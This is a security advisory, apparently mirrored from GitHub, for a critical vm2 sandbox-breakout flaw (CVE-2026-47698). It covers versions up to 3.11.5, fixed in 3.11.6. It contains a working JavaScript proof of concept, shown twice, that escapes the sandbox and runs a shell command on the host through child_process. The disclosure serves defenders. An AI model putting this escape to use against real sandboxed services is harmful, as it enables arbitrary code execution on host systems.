GHSA-CFCW-XP6X-25GJ

Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32
VLAI
Summary
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:32:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
  "id": "GHSA-cfcw-xp6x-25gj",
  "modified": "2026-08-17T17:32:42Z",
  "published": "2026-08-17T17:32:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: Sandbox Breakout Using Dangerous Host Proto Mutators"
}



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